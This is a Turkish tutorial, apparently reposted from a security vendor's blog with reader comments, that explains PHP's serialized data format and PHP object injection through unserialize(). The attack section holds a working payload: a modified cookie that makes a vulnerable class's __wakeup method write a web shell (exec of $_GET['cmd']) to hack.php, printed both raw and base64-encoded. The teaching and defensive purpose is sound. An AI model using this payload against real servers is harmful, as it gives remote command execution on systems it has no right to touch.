PHP Serialized Veri Yapısı
Serialize fonksiyonu; PHP’de bir object’i, array’i veya bir variable’ı taşınabilir hale getirmek için yazılmış bir fonksiyondur. Serialize edilmiş bir object’in anlaşılabilir ve geri döndürülebilir bir yapısı vardır.
Örneğin “Netsparker” gibi bir class’tan üretilmiş bir object’in serialized hali aşağıdaki gibidir.
Kod:
<?php
class Netsparker{
public $publicVar = "omer";
protected $protectedVar = "citak";
private $privateVar = "diyarbakir";
public $intVar = 21;
public $decimalVar = 2.1;
public $array = ["string", 13];
public function publicFunc(){
echo $this->publicVar;
}
protected function protectedFunc(){
echo $this->protectedVar;
}
private function privateFunc(){
echo $this->privateVar;
}
}
$ns = new Netsparker;
var_dump(serialize($ns));
Çıktısı:
O:10:"Netsparker":6:{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";s:22:"NetsparkerprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}
Serialize datanın yapısını 7 farklı şekilde incelememiz gerekecek. Bu 7 şekil şunlardır;
- Object
- String variable
- Protected class variable
- Private class variable
- Integer variable
- Decimal variable
- Array
1. Object
O:10:"Netsparker":6:{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";s:22:"NetsparkerprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}
- O (Büyük O harfi); Object yani bir nesne olduğu anlamına geliyor.
- : (İki nokta üst üste); Serialize yapıda tip ile boyutu arasında delimiter.
- 10; Class name’inin boyutu (byte cinsinden)
- “Netsparker”; Class ismi.
- { (Süslü parantez aç); Class içindeki diğer elemanların başlangıcı
- } (Süslü parantez kapat); Class içindeki diğer elemanların sonu
- 6; Class içinde kaç eleman olduğu.
Gelelim class’ın elemanlarına.
Elemanlar kendi aralarında noktalı vürgül işareti (;) ile parse edilirler. Yapı tamamen noktalı virgüle göre parse edildikten sonra sırayla 2’şer eleman alınır. Bu elemanlardan 1.si variable’ın ismi, 2.si ise variable’ın içindeki value’dur.
2. String variable
s:9:"publicVar";s:4:"omer";
- s:9:; Variable’ın name’inin boyutu (byte cinsinden)
- “publicVar”; Variable’ın name’i
- s (Küçük S); Variable’ın type’ı string miş.
- 4; Value boyutu (byte cinsinden).
- “omer”; value
3. Protected class variable
s:15:"*protectedVar";s:5:"citak";
- s:15:; Variable’ın name’inin boyutu (byte cinsinden)
- “protectedVar”; Variable’ın name’i
- s (Küçük S); Variable’ın type’ı string miş.
- 5; Value boyutu (byte cinsinden).
- “citak”; value
Burada dikkat edilmesi gereken bir nokta var. S:15 demesine rağmen “*protectedVar” 13 byte. Fazladan 2 byte gösteriyor. Sebebi ise eğer variable protected ise name’inin önüne “(null_byte)*(null_byte)” gelir. Yani yıldız işareti’nin (*) sağında ve solunda null byte bulunuyor.
Aşağıdaki görselde çıktının hex hali bulunuyor. Hex olarak okunduğundan null byte’lar açık şekilde görülüyor.
4. Private class variable
s:22:"NetsparkerprivateVar";s:10:"diyarbakir";
- s:22:; Variable’ın name’inin boyutu (byte cinsinden)
- “NetsparkerprivateVar”; Variable’ın name’i
- s (Küçük S); Variable’ın type’ı string miş.
- 10; Value boyutu (byte cinsinden).
- “diyarbakir”; value
Burada da dikkat edilmesi gereken bir nokta var. “NetsparkerprivateVar” 20 byte olmasına rağmen 22 byte demiş. Protected’dekine benzer olarak; eğer variable private ise name’in önüne “(null_byte)ClassName(null_byte)” gelir. Null byte’ları yine protected bölümünde verdiğim resimde daha net görebilirsiniz.
5. Integer variable
s:6:"intVar";i:21;
- s:6:; Variable’ın name’inin boyutu (byte cinsinden)
- “intVar”; Variable’ın name’i
- i (Küçük İ); Variable’ın type’ı integer mış.
- 21; value
Burada dikkat edilmesi gereken nokta; variable eğer inter ise value’nun boyutu type’dan sonra yer almaz. Sadece tipi ve value’su yazar.
6. Decimal variable
s:10:"decimalVar";d:2.1000000000000001;
- s:10:; Variable’ın name’inin boyutu (byte cinsinden)
- “decimalVar”; Variable’ın name’i
- d (Küçük D); Variable’ın type’ı decimal mış.
- 2.1000000000000001; value
Burada da aynı integer gibi value’nun boyutu yer almaz.
7. Array
s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}
- s:5:; Variable’ın name’inin boyutu (byte cinsinden)
- “array”; Variable’ın name’i
- a (Küçük A); Variable’ın type’ı array miş.
- 2; array’in içerisinde 2 eleman varmış.
i:0;s:6:"string";i:1;i:13;
- i:0;s:6:; index’i 0 olan eleman string miş ve 6 byte mış
- “string”; index’i 0 olan elemanın value’su
- i:1;i:13:; index’i 1 olan eleman integer miş ve value’su 13 müş.
Object Injection Zaafiyeti
Object Injection; PHP’de kullanıcıdan alınan verinin “unserialize()” fonksiyonundan geçirilmesi sonucu oluşan bir zafiyettir. “unserialize()” fonksiyonu; “serialize()” fonksiyonundan geçirilmiş bir PHP variable’ını tekrardan kullanılması için oluşturur.
Eğer serialized edilen değişken; bir class’tan türetilen bir object (nesne) ise; zaten var olup serialize edilip saklanmış bir veriyi tekrardan oluşturduğu için otomatik olarak nesnenin ait olduğu class’ın “__wakeup” metodu tetiklenecektir.
Her ne kadar PHP’nin resmi dökümantasyonunda bahsi geçmese de; bir serialized veri unserialize fonksiyonundan geçirildiğinde “__wakeup()” ile beraber “__destruct()” metodu da tetiklenmektedir.
Yazının başlarında serialize edilmiş bir object’in değişkenlerine müdahale edilebildiğini yazmıştım. Zafiyetin can alıcı noktası tam olarak burasıdır.
Eğer unserialize edilen object’in türetildiği class’ın __wakeup veya __destruct metodları kendi içlerinde; class’a ait public, protected veya private değişkeni kullanıyorsa; saldırgan serialized data üzerinden bu değişkenlerin değerlerini değiştirebildiğinden sistem zafiyetten etkilenebiliyor.
Örneğin loglama işlemi yapan LogClass adındaki classımızın yapısı aşağıdaki gibi olsun:
class LogClass{
public $logFile = ‘log.txt’;
public $log = ‘triggered __wakeup method’;
function __wakeup(){
$f = fopen($this->logFile, "a");
fwrite($f, date("d.m.Y H:i:s").’ - ’.$this->log.PHP_EOL);
fclose($f);
}
}
if(!isset($_COOKIE["log"])){
$logger = new LogClass;
setcookie("log", base64_encode(serialize($logger)));
}
unserialize(base64_decode($_COOKIE["log"]));
Bu kod her çalıştığında log.txt dosyasına $log değişkeni yazılacaktır.
Cookie Manager veya alternatif bir araç ile name’i “log” olan cookie’yi düzenleyip, saldırı gerçekleştirelim.
Saldırımızda hack.php adında bir dosya oluşturup, Remote Command Execution zafiyeti oluşturacak bir kod parçası yerleştireceğiz.
Cookie Manager ile cookie’ye baktığımızda base64 ile encode edilmiş serialized verimizi görüyoruz.
Base64 encoded datayı decode ettiğimizde aşağıdaki gibi serialize dataya ulaşıyoruz.
O:8:"LogClass":2:{s:7:"logFile";s:7:"log.txt";s:3:"log";s:25:"triggered __wakeup method";}
Veriyi saldırı için aşağıdaki gibi tekrar düzenlememiz gerekiyor. Uzaktan komut çalıştırabilmemiz için bizden aldığı komutu sunucuda çalıştıracak bir PHP dosyasına ihtiyacımız var.
“log.txt”’yi “hack.php” olarak değiştiriyoruz. Byte sayısı 7 den 8 e çıktığından dolayı “s:7” yi “s:8” yapıyoruz.
Aynı şekilde “log.txt” nin içerisine yazılacak değer olan “triggered __wakeup method” u; bizden GET metodu ile “cmd” parametresinden aldığı komutu sunucu üzerinden çalıştıracak “<?php echo exec($_GET[“cmd”]); ?>” olarak değiştiriyoruz. Byte sayısı 25 ten 33 e çıktığından dolayı “s:25” i “s:33” yapıyoruz.
Bu değişiklikleri yaptıktan sonra serialized datamız aşağıdaki gibi olacaktır.
O:8:"LogClass":2:{s:7:"logFile";s:8:"hack.php";s:3:"log";s:33:"<?php echo exec($_GET["cmd"]); ?>";}
Sistem bizden bu datayı base64 olarak istediğinden serialized datamızı base64 encode işleminden geçiyoruz ve aşağıdaki gibi bir çıktıya ulaşıyoruz.
Tzo4OiJMb2dDbGFzcyI6Mjp7czo3OiJsb2dGaWxlIjtzOjg6ImhhY2sucGhwIjtzOjM6ImxvZyI7czozMzoiPD9waHAgZWNobyBleGVjKCRfR0VUWyJjbWQiXSk7ID8+Ijt9
En nihayetinde base64 çıktımızı Cookie Manager aracılığı ile “log” adındaki cookie’ye kaydediyoruz. Ve sayfayı bir kez yeniledikten sonra hack.php dosyası oluşmuş olacaktır.
Object Injection’dan Nasıl Korunuruz?
Tek bir yöntemi var; “unserialize” kullanmamak. Zira veri saklamak için JSON gibi alternatifler mevcut.
Kaynak: https://www.netsparker.com.tr/blog/web-guvenligi/Object-Injection/
Şu sözüm ona hack forumlarının hepsini toplasan bu döküman kadar etmez, ellerine sağlık müdür 🙂
Kod blogundaki tirnak isaretinden dolayi sayfa 500 Internal donebiliyor, tek tirnak (‘) kullanirsaniz sorunsuz calisir.
Yazi icin tesekkurler.
Adam aşmış kendini aga!